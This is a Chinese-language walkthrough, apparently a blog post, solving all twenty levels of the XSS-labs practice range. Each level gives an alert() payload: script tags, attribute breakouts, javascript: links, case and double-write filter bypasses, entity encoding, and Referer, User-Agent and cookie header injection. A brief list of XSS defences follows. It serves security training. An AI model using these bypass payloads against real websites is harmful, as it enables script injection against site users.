【XSS-labs靶场通关详解】


前言

xss-labs也是非常适合新手练习的靶场,本期为大家带来靶场通关教程以及介绍一下xss漏洞的防御方式和好用的xss工具。


在线靶场:http://test.ctf8.com
XSS自动化工具:xsstrike
项目地址:https://github.com/s0md3v/XSStrike


一、第一关

没有做任何限制,直接输入xss语句

<script>alert('test')</script>

在这里插入图片描述


二、第二关

标签被闭合

"><script>alert('test')</script>

在这里插入图片描述


三、第三关

<>号都被实体化了
因为html前端代码中;使用标点符号时要空一格

' onclick=alert('test') '

在这里插入图片描述


四、第四关

和第三关差不多,只是双引号闭合

" onclick=alert('test') "

在这里插入图片描述


五、第五关

提示:javascript伪协议
通过构造href属性来绕过

"><a href="javascript:alert('test')">点击</a><"

在这里插入图片描述


六、第六关

过滤了href,尝试大小写绕过

" Onclick=alert('test') "

在这里插入图片描述


七、第七关

双写绕过

" OOnnclick=alert('test') "

在这里插入图片描述


八、第八关

html实体编码绕过

javascript:alert('test')

编码之后

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0074;&#x0065;&#x0073;&#x0074;&#x0027;&#x0029;

在这里插入图片描述


九、第九关

这关属实不合理
提示:检测关键字存在
http:// 必须有不然会报错链接不合法(HTML编码)

&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0027;&#x0074;&#x0065;&#x0073;&#x0074;&#x0027;&#x0029;/* http:// */

在这里插入图片描述


十、第十关

提示:隐藏信息
通过构造参数响应发现只有t_sort里面的值被改变了,因此我们可以从该标签进行突破;
尝试能不能注入恶意代码进行弹窗,利用$t_sort参数

<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

在这里插入图片描述


十一、第十一关

提示:Referer信息
通关抓包看到缺少referer头
将如下代码加入到referer头中

referer: "type="test" onclick="alert('test')

在这里插入图片描述


十二、第十二关

注入点在user-agent

user-agent: "type="text" onclick="alert('test')

在这里插入图片描述


十三、第十三关

注入点在cookies,用bp抓包将代码写在cookie处即可

"type="text" onclick="alert('test')

十四、第十四关

第十四关由于网站已经不能访问了,所以就不演示了


十五、第十五关

这一关看到src可以猜想是个文件包含的题目
可以随便包涵之前的一关并对其传参,以达到弹窗的效果

?src='/level1.php?name=<img src=1 onmouseover=alert()>'

由于环境原因就没截图了,后面几个关卡我就只放payload了。


十六、第十六关

这里过滤了很多标签和一些常见方法
回车代替空格绕过检测

?keyword=<svg%0Aonload=alert(1)>

在这里插入图片描述


十七、第十七关

环境有问题,跳过了

?arg02= onclick=alert()

十八、第十八关

看的其他师傅的代码

?arg02= onmousedown=alert()

十九、第十九关

?arg01=version&arg02=<a href="javascript:alert()">here</a>

二十、第二十关

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

XSS防御手段

1、xss过滤函数需过滤<><script></script>等字符
2、xss过滤函数需过滤javascript等关键字
3、xss过滤函数需过滤&#\等字符
4、xss过滤函数需过滤style标签、style属性、expression、javascript、import等关键字
5、避免使用eval、new Function等执行字符串的方法,除非确认字符串和用户输入无关
6、使用cookies的httpOnly属性,加上了这个属性的cookies字段,js是无法进行读写的
7、html实体化编码

猜你喜欢

转载自blog.csdn.net/qq_61872115/article/details/133861277
今日推荐